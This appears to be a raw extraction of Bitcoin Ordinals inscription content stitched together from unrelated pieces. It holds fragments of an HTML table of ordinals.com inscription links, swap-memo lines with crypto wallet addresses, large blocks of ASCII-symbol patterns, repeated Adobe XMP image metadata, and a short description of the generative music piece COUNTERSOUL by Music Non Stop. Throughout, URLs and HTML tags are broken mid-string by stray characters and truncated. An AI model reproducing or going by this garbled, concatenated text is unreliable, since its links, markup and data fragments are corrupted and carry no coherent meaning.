			<p><a href="https://ordinals.com/inscription/ccf3732f0bcbb7420e8603d441a9759daa4b9a3M
65a85a1a68cc2c3c2c59067bai0" target="_blank">https://ordinals.com/inscription/ccf3732f0bcbb7420e8603d441a9759daa4b9a365a85a1a68cc2c3c2c59067bai0</a></p>
			<td style="height:120px">2011-12-12 00:19:07 UTC</td>
			<td style="height:120px">75</td>
			<td style="height:120px">metanoun</td>
			<td style="height:120px">70074</td>
			<td style="height:120px">
			<p><a href="https://ordinals.com/inscription/f98e228272af47471152ecd9db8b26918b920ef52c203077af9e46c674556145i0" target="_blank">https://M
ordinals.com/inscription/f98e228272af47471152ecd9db8b26918b920ef52c203077af9e46c674556145i0</a></p>
			<td style="height:120px">2011-05-20 15:24:14 UTC</td>
			<td style="height:120px">76</td>
			<td style="height:120px">declined</td>
			<td style="height:120px">70073</td>
			<td style="height:120px">
			<p><a href="https://ordinals.com/inscription/79d6d9255feb696eb0bb48ea16f472554b5ee5adadda64317b17b664ce567738i0" target="_blank">https://ordinals.com/inscription/79d6d9255feb696eb0bb48ea16f4M
72554b5ee5adadda64317b17b664ce567738i0</a></p>
			<td style="height:120px">&nbsp;</td>
			<td style="height:120px">77</td>
			<td style="height:120px">sonny</td>
			<td style="height:120px">70071</td>
			<td style="height:120px"><a href="https://ordinals.com/inscription/638ab862fa3a3ff93f5500b1108006a5c09cf55cd06cb9ddff194d7893e71f2ai0" target="_blank">https://ordinals.com/inscription/638ab862fa3a3ff93f5500b1108006a5c09cf55cd06cb9ddff194d7893e71f2ai0</a></td>
			<td style="height:120px">&nbsM
			<td style="height:120px">78</td>
			<td style="height:120px">wot</td>
			<td style="height:120px">70080</td>
			<td style="height:120px"><a href="https://ordinals.com/inscription/6fc77b23dedd31d3fcafd92380e914abd4fb77a1e5cf925f0cb2a74a5edaaa92i0" target="_blank">https://ordinals.com/inscription/6fc77b23dedd31d3fcafd92380e914abd4fb77a1e5cf925f0cb2a74a5edaaa92i0</a></td>
			<td style="height:120px">&nbsp;</td>
			<td style="height:120px">79</td>
			<td style="height:120px">o</M
			<td style="height:120px">70077</td>
			<td style="height:120px"><a href="https://ordinals.com/inscription/2a1f3e9f784a766d8a31025831b636f954247e8a8ef206a762b18af8d392987fi0" target="_blank">https://ordinals.com/inscription/2a1f3e9f784a766d8a31025831b636f954247e8a8ef206a762b18af8d392987fi0</a></td>
			<td style="height:120px">&nbsp;</td>
			<td style="height:120px">80</td>
			<td style="height:120px">inspector</td>
			<td style="height:120px">70078</td>
			<td style="height:120px">
f="https://ordinals.com/inscription/2ed7218ee804b1254462175b5e82391f3c861dfc82210b5c520993d8c0354784i0" target="_blank">https://ordinals.com/inscription/2ed7218ee804b1254462175b5e82391f3c861dfc82210b5c520993d8c0354784i0</a></p>
			<td style="height:120px">&nbsp;</td>
			<td style="height:120px">81</td>
			<td style="height:120px">vv truth 1</td>
			<td style="height:120px">70284</td>
			<td style="height:120px">
			<p><a href="https://ordinals.com/inscription/eccfa0187293ca83f7eab3c2bde1e680M
96cbedf4a6098828b0abd533b0b1a0eci0" target="_blank">https://ordinals.com/inscription/eccfa0187293ca83f7eab3c2bde1e68096cbedf4a6098828b0abd533b0b1a0eci0</a></p>
			<td style="height:120px">&nbsp;</td>
			<td style="height:120px">82</td>
			<td style="height:120px">vv truth 2</td>
			<td style="height:120px">70287</td>
			<td style="height:120px">
			<p><a href="https://ordinals.com/inscription/1b0e903cc7d6ca2e4085c8e05919a379fc6e2f152a8d81b92ed22fbd4c7a80d6i0" target="_blank">https://ordinalsM
.com/inscription/1b0e903cc7d6ca2e4085c8e05919a379fc6e2f152a8d81b92ed22fbd4c7a80d6i0</a></p>
			<td style="height:120px">&nbsp;</td>
			<td style="height:120px">83</td>
			<td style="height:120px">vv truth 3</td>
			<td style="height:120px">70286</td>
			<td style="height:120px">
			<p><a href="https://ordinals.com/inscription/59de9f21ce225eb25eb763df56b7ca85fdf456733fb005874264b969c54c7986i0" target="_blank">https://ordinals.com/inscription/59de9f21ce225eb25eb763df56b7ca85fdf456733fb00587426Lk4b969c54c7986i0</a></p>
			<td style="height:120px">&nbsp;</td>
Bj@=:BNB.BNB:bnb1dp6d9zsswmcz9te9a8arx5qet5wulawyf7u4vv:585403:te:0
CjA=:ETH.ETH:0xA19d53041758000e57585b81a716B3Bbaf353112:1525164:te:0
CjA=:BNB.BNB:bnb12q406d6g7drem3pzp6kwv2smxe83nzgcycte37:3851413:te:0
CjA=:BNB.BNB:bnb1xcjdqueme8jv75zvxvxpaa68w3g2u4a0scj7vz:8243769:te:0
CjA=:BNB.BNB:bnb1weua7g9479z2yaychxekn6wh4f8gjgjzzy4lkn:1253590:te:0
GjE=:BNB.BTCB-1DE:bnb12q406d6g7drem3pzp6kwv2smxe83nzgcycte37:243276:te:0
text/plain;charset=utf-8
.|+-.|+.-.-.|+.-..-.|+.-.-.|+.-..-.+|.-.-.+|.-..-.+|.-.-.+|.-+|.
|.+....|+-.+...--+-++.||-|+-+|.||.|+-+|-||.++-+--...+.-+|....+.|
++|....-|..-|.|.+|..+|.|.+-..+-..-+..-+.|.|+..|+.|.|-..|-....|++
-..+|-.+.-||..+|-.+.+.|.-+|..+|--|+..|+-.|.+.+.-|+..||-.+.-|+..-
...|||--.....+++...||---...|.++++++.|...---||...+++.....--|||...
|..-||++--....|..--||++--...||....||...--++||--..|....--++||-..|
+...-++.|.-...|+.+.-+-.|.|....+..+....|.|.-+-.+.+|...-.|.++-...+
.|-+-+..-.-++.+.|-+-+..|.|++.+.||.+.++|.|..+-+-|.+.++-.-..+-+-|.
-+|..-|-.+.|..+--|..+.|.-+-..+|--|+..-+-.|.+..|--+..|.+.-|-..|+-
.-.-.-..+|..+|..|.-.-.-..+|+.+|..|+.+|+..-.-.-.|..|+..|+..-.-.-.
-..|..--..+..--.++..--.++..--|++++|--..++.--..++.--..+..--..|..-
.+-|...+|...+-|...+-++-|..++-|....|-++..|-++-+...|-+...|+...|-+.
|.|....+.+.+.+.-.-.-+-+|+|-|-|-..-|-|-|+|+-+-.-.-.+.+.+.+....|.|
+...+....|--++....-++....||-++....++-||....++-....++--|....+...+
..|++||++.-|..---..--...++..+.+||+.+..++...--..---..|-.++||++|..
--.|+.+.-...-.-.|+..-.|.|-.||+.--.+||.-|.|.-..+|.-.-...-.+.+|.--
.-+-...|-|+...-|-.+.-|-|+.+.-|+..+|-.+.+|-|-.+.-|-...+|-|...-+-.
.+|..-+-|.+.-..+.+|...+||.-.-|.++.|-.-.||+...|+.+..-.+.|-+-..|+.
--.+.-.+.-.+.-..+|..+|..+||.-||..||-.||+..|+..|+..-.+.-.+.-.+.--
.+..||--...--+-....+-++..|++.+||||+.++|..++-+....-+--...--||..+.
|+++||+++--+++---.+---..+--..++++++..--+..---+.---+++--+++||+++|
+.|.-+-...-+-...|.|+-+...-|-.+.||.+.-|-...+-+|.|...-+-...-+-.|.+
.|.|-+..|-.-+..|-+.+..|-+..|.|-++-|.|..+-|..+.+-|..+-.-|..+-|.|.
-||.--||..+||...||....-....++......++....-....||...||+..||--.||-
.-.-.-..-.+.+.+|+|+.+.+.+|+|+|.||.|+|+|+.+.+.+|+|+.+.+.-..-.-.-.
-|++..||++..||+-..||--..|.--........--.|..--||..-+||..++||..++|-
.+-|...+-|.+-|..+-|+-|..+-|..+-||-+..|-+..|-+|-+..|-+.|-+...|-+.
|-..|..+.+-+|-.|...+.-|+|-.|...++...|.-|+|-.+...|.-|+-+.+..|..-|
++...|....---++|---....++...|||--|||...++....---|++---....|...++
.|+++|.+++|||+.+|||+++|.|.+.|||..|||.+.|.|+++|||+.+|||+++.|+++|.
-.-|+.+.||+.-.+.+.||+.-...-.||+..+||.-...-.+||.+.+.-.+||.+.+|-.-
.|.-+..|-.+...|-.+.|+|+.|.|+-..--..-+|.|.+|+|.+.-|...+.-|..+-.|.
+|-..-+|.+.+-+|.+.-|.|.+|-|..+-..-+..|-|+.|.|-.+.|+-+.+.|+-..-|+
.-.|.-.+||.-.+.-.-||.+.++-.-||.--.||-.-++.+.||-.-.+.-.||+.-.|.-.
-|...|-...|||.+.|||...|-|+.+|||++|||+.+|-|...|||.+.|||...-|...|-
..---|++--.....|...+++-..+++|||..|||+++..-+++...|.....--++|---..
|.-+|+-.+...|.-|-+-.+.|.|.-|++-..-++|-.|.|.+.-+-|-.|...+.-+|+-.|
+..|-++..|-..|-+..|..|-+..|-+..||..+-|..+-|..|..+-|..-|..++-|..+
.|..--||..-+||..++||..++|-..++----++..-|++..||++..||+-..||--..|.
+.-.-.--.-.-.-.|.|.-.-.-.|.|.|+||+|.|.|.-.-.-.|.|.-.-.-.--.-.-.+
.||+..||--.||--+||--++.--++..-++++-..++--.++--||+--||.--||..+||.
-|-|..+-|.+..+-|..+.+-|..+-|-|....|-|-+..|-+.+..|-+..+.|-+..|-|-
.+|-...+-+...+-+|-|...-+-.|.+.+||+.+.|.-+-...|-|+-+...+-+...-|+.
|...||...........+....++...++......++...++....+...........||...|
+.++||..++-....----....--|..+.||||.+..|--....----....-++..||++.+
..-.+.-.+.-.+.+-.|+-.|+-.||-.||--||.-||.-+|.-+|.-+.+.-.+.-.+.-..
-.|-+...|+.+.--.+.|-+-.||+.+.|-..-|.+.+||.-+-|.+.--.+.+|...+-|.-
+...+-+|.|.-+-.|.+.-.|.|.+.-.|.++.|.-.+.|.|.-.+.|.-+-.|.|+-+...+
..+|.-.-.++-.+.+|.--.+|+|.+||.-..-.||+.|+|+.--.|+.+.-++.-.-.|+..
--|..||..+.|++...-+..---..--.+.||.+.--..---..+-...++|.+..||..|--
.++-.++--|....++--...++--||...++++...||--++...--++....|--++.-++.
|+|+-+-.-.-.+.+.+.+....|.|.|.|.--.|.|.|.|....+.+.+.+.-.-.-+-+|+|
+..|--+.|--+..|--+.....|-+...|-++-|...+-|.....+--|..+--|.+--|..+
.++|--..++.--..+..--..+..--..|....|..--..+..--..+..--.++..--|++.
+.+.-.--.|+-.|++|+.+.+.--.|.-.|++|.-.|.--.+.+.+|++|.-+|.--.-.+.+
..|+-.|.+.+|--...|++.-|-...+-.|..|.-+...-|-.++|...--|+.+.|.-+|..
-|....+-.-...-.-|....+-|-|..+.+||+.+..|-|-+....|-.-...-.-+....|-
.++-...+|-.+-+|.+.-...+|-|+-+-.++.-+-+|-|+...-.+.|+-+.-|+...-++.
|--.||....--++|--..||....-++||----||++-....||..--|++--....||.--|
+++|||..-----...+++||...---|-......-|---...||+++...-----..|||+++
.+-.|.-.+.||+-.|.-.+.-|+..|+-.|..|.-+|..+|-.+.-.|.-+||.+.-.|.-+.
..|-+-+.|++.|+|+.|-+.|-|-..--..--..--..-|-|.+-|.+|+|.++|.+-+-|..
|+.++-+|..+.++-......+||.|...|-||-|...|.||+......-++.+..|+-++.+|
+|..+|.-.+.+|.-.+-.+|.-.+.+|.-.++.-.|+.+.-.|+.-+.-.|+.+.-.|+..|+
text/plain;charset=utf-8
..\.../.X.\.X.\......../.../...XX.../.../........\.X.\.X./...\..
.../...\.\./...\./.X.\./.X...\.XX.\...X./.\.X./.\.../.\.\.../...
\.\././X.X............\.././.X.XX.X././..\............X.X/./.\.\
./.\.\......X.X./.\.\......X.X.//.X.X......\.\./.X.X......\.\./.
../....X./...X.\..X.X.\..X/....XX..../X..\.X.X..\.X.../.X..../..
...\../...\..X.../..X.../.\....XX....\./...X../...X..\.../..\...
/./../.X..X.X.\X\..\./.././..X.XX.X.././../.\..\X\.X.X..X./.././
.\X.X.X..\./.\.....X./.X..\.\.\XX\.\.\..X./.X.....\./.\..X.X.X\.
X............/.\X./.\X./.\../....../..\./.X\./.X\./............X
.\X./..\.......X./../../.\............\./../../.X.......\../.X\.
\....\X....X../....\X.\..X../....../..X..\.X\..../..X....X\....\
./...../..X....\/..X....\/............/\....X../\....X../...../.
X..X..X.................\..\..\..\..\..\.................X..X..X
....XX.\/.....XX.//.....XX./..\..\../.XX.....//.XX...../\.XX....
\..X..\.../..XX...../...X.....\..\.....X.../.....XX../...\..X..\
.\..\.X.\X.\.X.\X...X../.../../../../.../..X...X\.X.\.X\.X.\..\.
.../..\.X../...X../....X..\...X..X...\..X..../..X.../..X.\../...
./.../.../.../.../.../...\...\....\...\.../.../.../.../.../.../.
...\X.../..../../..../X..\/....//..../\..X/..../../..../...X\...
.X....\X..\X......../X../X....\//\....X/..X/........X\..X\....X.
...\XX..\/X.../X...//X..\/X..\/XX/\..X/\..X//...X/...X/\..XX\...
.\....//X........//XX.......\\XXXX\\.......XX//........X//....\.
..\.\.....\.......X....XX....X/XX/X....XX....X.......\.....\.\..
//.....X//...../X.....XXX...\.XXXX.\...XXX.....X/.....//X.....//
.....//....\\XX..../\.XX....\\....\\....XX.\/....XX\\....//.....
.X/.X...\\X/.X...\\X/......\X/..../X\....../X\\...X./X\\...X./X.
..../\/\........\./.X....../\X....X\/......X./.\........\/\/....
/./X........\/./.........\/.X./../.X./\........././\........X/./
.......\/./..........\.\\X\XX.X..X.XX\X\\.\.........././\.......
.\XX..X..........\..\\X.\/X../..../..X/\.X\\..\..........X..XX\.
.......\....\\\/X..\/X/X.../X......X/...X/X/\..X/\\\....\.......
XXX/XXXX..........//XXXX................XXXX//..........XXXX/XXX
................................................................
.XXX/\\.X//\......\..........................\......\//X.\\/XXX.
\.........X/..//\./\...\................\...\/.\//../X.........\
X.X/\X\..\......././/./.................././/./.......\..\X\/X.X
.......X./\X..\...../.X\/..\........\../\X./.....\..X\/.X.......
./X/........./\/......X./X\..........\X/.X....../\/........./X/.
\....X\/......../........XX..........XX......../......../\X....\
...\\....XX......//..\....//........//....\..//......XX....\\...
.....//.....\//.....\\.....\.\....\.\.....\\.....//\.....//.....
...\....\\....\/\...///...XX/....../XX...///...\/\....\\....\...
\....X..../\\........X/\\..............\\/X........\\/....X....\
..\....\....\\.../\.../\...//......//...\/...\/...\\....\....\..
X.../\../\....X\..X\......../\....\/........\X..\X....\/..\/...X
.X\.../\...X\..\...X\.../..../\..\/..../...\X...\..\X...\/...\X.
\.../.../.../.../.../.../.../....../.../.../.../.../.../.../...\
.X/..X..../..X\../....\../...\....\.../..\..../..\X../....X../X.
X..X...X....\.....\\../.../../..../../.../..\\.....\....X...X..X
..\.....XX../...\..X..\/..\\./..../.\\../\..X..\.../..XX.....\..
\\.X......\\./..X...\../../........../../..\...X../.\\......X.\\
.//..\../../../\./\.\\.\................\.\\.\/.\/../../..\..//.
X../\....X../\....X..\.....X./\..\/.X.....\..X....\/..X....\/..X
../..../\.X..\../..../..X..\.X/../X.\..X../..../..\..X.\/..../..
.../.X\.X\.X..X....\..\.X../\./../.\/..X.\..\....X..X.\X.\X./...
..X.X\./.X\./.X.././..\.......X..X.......\.././..X./.\X./.\X.X..
...\...././....X..\.\..../.X........X./....\.\..X...././....\...
....X....\......../..../.\..\.\..\.\..\./..../........\....X....
./.../..\X..\...X..\.X./.X..X.\..\.X..X./.X.\..X...\..X\../.../.
/X..\.X.X..\....././....\...\./../.\...\...././.....\..X.X.\..X/
.......\././.X.X......\.\././.X..X././.\.\......X.X././.\.......
........X././.\./.\.\.....X.X.X..X.X.X.....\.\./.\././.X........
.\..X/....../\..X.X......./...X..X.../.......X.X..\/....../X..\.
/.../......X.\.X.\.X.\...\..X\....\X..\...\.X.\.X.\.X....../.../
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmpM
.did:eff24cec-f226-6d4f-9b5c-1bddd0bb0fb1" xmpMM:DocumentID="xmp.did:0D94F1CBABE011EDAD919F44E1496E8D" xmpMM:InstanceID="xmp.iid:0D94F1CAABE011EDAD919F44E1496E8D" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:dc613a2c-c5fe-ef46-b9fc-73e24fcb5bf4" stRef:documentID="adobe:docid:photoshop:1374ea5d-6931-f745-8c39-042ac0577fb8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
\X./.....X./..\..X.\..\../.....XX...../..\..\.X..\../.X...../.X\
X/.X../.X/.X..\.X/.X..\..\.X..\..\..X.\..\..X./X.\..X./X./..X./X
.....X\......//\.....X/......X\..\X....../X.....\//......\X.....
/X.....\/...../X.....\/...../X....X/...../\.....X/...../\.....X/
.......X....X./..X./..X.\../.\....\./..\.X../.X../.X....X.......
..X../../..\...../..\.X../../....../../..X.\../.....\../../..X..
./\........//X..........\\/........../\\..........X//........\/.
...\X....\X........\\....\\....\\....\\....\\........X\....X\...
.X././....X.\.\..../.\..X.X./....../.X.X..\./....\.\.X...././.X.
X/.....\../..X\../.....\../\.X/../X.\/..\...../..\X../..\...../X
.......XX/X/\..\............/\X\\X\/............\..\/X/XX.......
/X...\/.../....\X..\X..../X..\X..X\..X/....X\..X\..../.../\...X/
....X./.\.\......X././.\................\././.X......\.\./.X....
../...X..X.../......X.../../...XX.../../...X....../...X..X.../..
\\///...\\....\..................................\....\\...///\\
..\X......\\.../...\...//...X......X...//...\.../...\\......X\..
.X.........X.........X./.......XX......./.X.........X.........X.
X/..X/.../..X........\...\...\....\...\...\........X../.../X../X
........................\..\./\..\/.\..\........................
\X../..\/..\/..\.../...X..\X../../..X\..X.../...\../\../\../..X\
.....\.\...X.X........\.\.X./.X..X./.X.\.\........X.X...\.\.....
..X\....\.../...X\..../...X...X\\X...X.../....\X.../...\....\X..
\\//XX..............\//XX..............XX//\..............XX//\\
.........\..\..//..X..X........\\........X..X..//..\..\.........
....\.\.X...././..\.\.X.X.././...././..X.X.\.\.././....X.\.\....
/\.../\\.../.....\..........X......X..........\...../...\\/...\/
....../\X/.X.......\XX.........\\.........XX\.......X./X\/......
.X../....\.../....\X..../..\X......X\../....X\..../...\..../..X.
..././.././....X..../....X.X\.\..\.\X.X..../....X...././.././...
..XX\....X\\.....\/...../......//....../...../\.....\\X....\XX..
.\\....../XX......\/XX......\......\......XX/\......XX/......\\.
X......\..\..X..X....\.\..\../..../..\..\.\....X..X..\..\......X
.././..\..\..../../..\.\..\....XX....\..\.\../../....\..\.././..
/\\.............//\.......//\......\//.......\//.............\\/
....\X....\\X....\./.....//..........//...../.\....X\\....X\....
.X....X...././..../..../..X.\.\..\.\.X../..../...././....X....X.
.../..X..\../..X..\../.....\../../..\...../..\..X../..\..X../...
...../.\.......X./X\........X//\\//X........\X/.X.......\./.....
.\....\\....//...\/X.../X..../..../....X/...X/\...//....\\....\.
X.X.\.\.././..X.X.\.\....X............X....\.\.X.X.././..\.\.X.X
../../...\..\.....X..X.../../..\\../../...X..X.....\..\.../../..
\\..............XX//\......................\//XX..............\\
...\....\X.../...\.X...X.../...\\.../...X...X.\.../...X\....\...
./.X.\.\./......X./.X.\.\..............\.\.X./.X....../.\.\.X./.
\......\...\../\../..X/..X\../..../..\X../X../..\/..\...\......\
...........X..XX/X.//./X\/X\/.\//\./\X/\X/.//.X/XX..X...........
......X...X../.../X..\X..\/..\/../\../\..X\..X/.../..X...X......
X.X.X.../.X.X.X.../.X.X.X...../../.....X.X.X./...X.X.X./...X.X.X
..\.../...\\......X\......XX...//...XX......\X......\\.../...\..
\\...///\\X/X/\.X.X/....X..............X..../X.X.\/X/X\\///...\\
.../....../.../../.../.../../....../../.../.../../.../....../...
.X......\.\./.X.X......\././.X....X././.\......X.X./.\.\......X.
....X\..X/..../\..X\..../.../\....\/.../....\X..\/..../X..\X....
............\/X\XX...........\.\\.\...........XX\X/\............
..../..\X../..\...../X.\/..\........\../\.X/.....\../..X\../....
/.X..../.X.X\.\./....\....................\..../.\.\X.X./....X./
../\..../\..../....\\....\\....\\....\\....\\..../....\/....\/..
..\X/X........//.X......\\.XX......XX.\\......X.//........X/X\..
......X....\../.....\../../..X....X../../..\...../..\....X......
.X.X/./../.X....X.......\....\.//.\....\.......X....X./.././X.X.
....X.X\...../......X\...../......../.....\X....../.....\X.X....
X.....\/X......\X....../X.....\//\.....X/......X\......X/\.....X
....X.......X.\...../.\..\..X.\..\.X..\..\./.....\.X.......X....
\.X...../.....\.X..\..\.X...../../.....X.\..\..X.\...../.....X.\
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 24.1 (Windows)" xmpMM:InstanceID="xmp.iid:26ABB71DABE011EDAC4FBD2208FA10CC" xmpMM:DocumentID="xmp.did:26ABB71EABE011EDAC4FBD2208FA10CC"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:26ABB71BABE011EDAC4FBD2208FA10CC" stRef:documentID="xmp.did:26ABB71CABE011EDAC4FBD2208FA10CC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
../..//.--/||-\|-\\|..\..................\..|\\-|\-||/--.//../..
..-.\..|....\../.\../....-../.|..|./..-..../..\./..\....|..\.-..
/-\...-\.../-\./-\.../|.../|\......\|/...|/...\-/.\-/...\-...\-/
...\-..\-...\|...\-/.\-...\-...\\...-\...-\./-\...|\...-\..-\...
.\.-..|./|./../..\....|..|..|.-..-.|..|..|....\../../.|/.|..-.\.
/...........\..|\\--|//-................-//|--\\|..\.........../
/.-.|.\.\/.-.-.|.\....../.-.|.|..|.|.-./......\.|.-.-./\.\.|.-./
.|\\..../\\\.././\...../-.\....--....\.-/.....\/./..\\\/....\\|.
-..-/.\/..|.../..\..\|..|..\-..||..-\..|..|\..\../...|../\./-..-
-...|./\../...|./\..-../\.....|..|.....\/..-..\/.|.../..\/.|...-
/......\|//......\|-/...\\|-/....../-|\\.../-|\......//|\....../
|././.-\..../|.|.\.-.-.|././..\..\.././.|.-.-.\.|.|/....\-././.|
|\-\.\...../..-/-\|\........./.--./.........\|\-/-../.....\.\-\|
-.\|..-....|..|/.\..-..-.\|../.||./..|\.-..-..\./|..|....-..|\.-
\.../..//|..-|...\...-...-|...|..|...|-...-...\...|-..|//../...\
|//..||....|//..\\/...\-...\\-....-\\...-\.../\\..//|....||..//|
-.-..\././..-..\.\./..|.|..|.-....-.|..|.|../.\.\..-.././.\..-.-
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\..-.-....|.|../.\.\..-...\/.|....|./\...-..\.\./..|.|....-.-..\
|../.-....--\.../\\.../|.....-\..\-.....|/...\\/...\--....-./..|
./...|..\-/..-...\..\|...|/..\/../\../|...|\..\...-../-\..|.../.
../\./..|..-..-..\..|..|..\..|.//.|..\..|..|..\..-..-..|../.\/..
\.|-|/.........\|\-/........\|\--\|\......../-\|\........./|-|.\
.....-././.|.-.-.\.|.|...|.|...\\...|.|...|.|.\.-.-.|././.-.....
....../-|\\.....|\......./-||\....\||-/.......\|.....\\|-/......
.-..|.....\/.\-..\..|..|/....\-..-\..../|..|..\..-\./\.....|..-.
../\..-\..|..||..\\./\..-...-..//..-...-..\/.\\..||..|..\-..\/..
..|-....\.-/...\|\/....||......--......||..../\|\.../-.\....-|..
./\.|.|.-./....\.\....\.|.-.-./\\/.-.-.|.\....\.\..../.-.|.|.\/.
............//.--\|-\||.\\............\\.||\-|\--.//............
.|..-.|..|.\..|..\.\/.\..-../.-..-./..-..\./\.\..|..\.|..|.-..|.
...\...-|...-|...\.../-\../-\......\-/..\-/...\...|-...|-...\...
...\...-|...-|...\.../-\../-\......\-/..\-/...\...|-...|-...\...
.|..-.|..|.\..|..\.\/.\..-../.-..-./..-..\./\.\..|..\.|..|.-..|.
............//.--\|-\||.\\............\\.||\-|\--.//............
./\.|.|.-./....\.\....\.|.-.-./\\/.-.-.|.\....\.\..../.-.|.|.\/.
..|-....\.-/...\|\/....||......--......||..../\|\.../-.\....-|..
../\..-\..|..||..\\./\..-...-..//..-...-..\/.\\..||..|..\-..\/..
.-..|.....\/.\-..\..|..|/....\-..-\..../|..|..\..-\./\.....|..-.
....../-|\\.....|\......./-||\....\||-/.......\|.....\\|-/......
.....-././.|.-.-.\.|.|...|.|...\\...|.|...|.|.\.-.-.|././.-.....
\.|-|/.........\|\-/........\|\--\|\......../-\|\........./|-|.\
../\./..|..-..-..\..|..|..\..|.//.|..\..|..|..\..-..-..|../.\/..
./...|..\-/..-...\..\|...|/..\/../\../|...|\..\...-../-\..|.../.
|../.-....--\.../\\.../|.....-\..\-.....|/...\\/...\--....-./..|
\..-.-....|.|../.\.\..-...\/.|....|./\...-..\.\./..|.|....-.-..\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
-.-..\././..-..\.\./..|.|..|.-....-.|..|.|../.\.\..-.././.\..-.-
|//..||....|//..\\/...\-...\\-....-\\...-\.../\\..//|....||..//|
\.../..//|..-|...\...-...-|...|..|...|-...-...\...|-..|//../...\
-.\|..-....|..|/.\..-..-.\|../.||./..|\.-..-..\./|..|....-..|\.-
|\-\.\...../..-/-\|\........./.--./.........\|\-/-../.....\.\-\|
|././.-\..../|.|.\.-.-.|././..\..\.././.|.-.-.\.|.|/....\-././.|
/......\|//......\|-/...\\|-/....../-|\\.../-|\......//|\....../
-...|./\../...|./\..-../\.....|..|.....\/..-..\/.|.../..\/.|...-
-..-/.\/..|.../..\..\|..|..\-..||..-\..|..|\..\../...|../\./-..-
.|\\..../\\\.././\...../-.\....--....\.-/.....\/./..\\\/....\\|.
/.-.|.\.\/.-.-.|.\....../.-.|.|..|.|.-./......\.|.-.-./\.\.|.-./
/...........\..|\\--|//-................-//|--\\|..\.........../
.\.-..|./|./../..\....|..|..|.-..-.|..|..|....\../../.|/.|..-.\.
...\-..\-...\|...\-/.\-...\-...\\...-\...-\./-\...|\...-\..-\...
/-\...-\.../-\./-\.../|.../|\......\|/...|/...\-/.\-/...\-...\-/
..-.\..|....\../.\../....-../.|..|./..-..../..\./..\....|..\.-..
../..//.--/||-\|-\\|..\..................\..|\\-|\-||/--.//../..
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmpM
.did:8c7e0538-303d-084e-b171-dac5c371a959" xmpMM:DocumentID="xmp.did:AB4C79B0ABE011EDADC7AE24A2DCBE89" xmpMM:InstanceID="xmp.iid:AB4C79AFABE011EDADC7AE24A2DCBE89" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4e066011-aaf3-7040-9651-c881e816463b" stRef:documentID="adobe:docid:photoshop:fbea7063-0cf9-de48-bc1d-72c6d2145a91"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 24.1 (Windows)" xmpMM:InstanceID="xmp.iid:42EC2291ABE011EDB6ECE62CBD4412E3" xmpMM:DocumentID="xmp.did:42EC2292ABE011EDB6ECE62CBD4412E3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:42EC228FABE011EDB6ECE62CBD4412E3" stRef:documentID="xmp.did:42EC2290ABE011EDB6ECE62CBD4412E3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
no copyright, use freely
no copyright, use freely
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
text/plain;charset=utf-8
COUNTERSOUL - by Music Non Stop
Circulating Supply: 21
COUNTERSOUL is a real-time, generative music & visual performance of the Bitcoin blockchain developed by generative music group, Music Non Stop. Its development began in late 2021, and completed in January 2023 and is the first generative musical composition inscribed on Bitcoin.
View COUNTERSOUL live:
https://musicnonstop.io/live/COUNTERSOUL
https://musicnonstop.io/countersoul
https://twitter.com/MusicNonStop_io
